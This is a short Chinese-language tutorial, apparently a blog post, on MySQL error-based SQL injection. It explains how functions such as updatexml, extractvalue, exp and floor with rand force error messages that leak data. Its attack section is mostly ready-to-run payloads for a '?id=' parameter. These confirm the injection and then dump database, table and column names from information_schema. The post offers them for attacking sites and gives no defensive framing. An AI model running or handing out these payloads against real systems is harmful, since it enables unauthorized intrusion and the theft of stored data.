SQL报错注入


表现

数据库在执行时,遇到语法不对,会显示报错信息,比如错误语句:select’

原理

在公司开发项目是通常程序开发期间需要告诉使用者某些报错信息,方便程序员进行调试修复,定位文件错误,而且开发中会经常使用异常处理函数,捕获错误信息,比如在PHP中使用mysql_error()函数。如果SQL注入存在时,会有报错信息返回就可以采用报错注入进行攻击啦!!!

思路

报错注入嘛,首先肯定要让它报错呀。
那么什么时候才会报错呢?

Xpath语法错误
     extractvalue(1,(concat(0x7e,(payload),0x7e)))
     updatexml(1,(concat(0x7e,(payload),0x7e)))
     0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错
     详细的使用方法请自行查找
数据溢出错误
     exp(x)
     当参数x超过710时,exp()函数会报错
主键重复错误
     floor(x):
     count()和group by遇到rand()产生的重复值时报错
函数特性报错
     使用name_const来制造一个列
     mysql列名重复会报错
参数类型报错(不写了,自己找去)

现在有了报错,怎么利用?
忘记了那个and和or语句了吗?
把SQL语句放到产生报错的语句中,
再将原本要传入的参数和上面已经结合起来的语句用and合为payload。

开始注入

判断是否存在注入
?id=1' -- a

老一套了,直接拿来用。

判断是否是报错注入
?id=1' and updatexml(1,'~',3) -- a

如果报错了那说明是的,这里可以多换几个函数。
要让前面一半正常执行!

爆库
?id=-1' and updatexml(1,concat('~',
    substr( 
        (select group_concat(schema_name)
        from information_schema.schemata)
    , 1 , 31)
),3) -- a

一样的,函数自己换
但是注意高版本数据库基本上都没有这个漏洞了
尽管这样,一旦有漏洞就能用这个库跑了

爆表
?id=1' and updatexml(1,concat('~',
    substr( 
        (select group_concat(table_name)
        from information_schema.tables
        where table_schema = '库名')
    , 1 , 31)
),3) -- a
爆字段
?id=1' and updatexml(1,concat('~',
    substr( 
        (select group_concat(column_name)
        from information_schema.columns
        where table_schema = '库名' and table_name = '表名')
    , 1 , 31)
),3) -- a

评论
  目录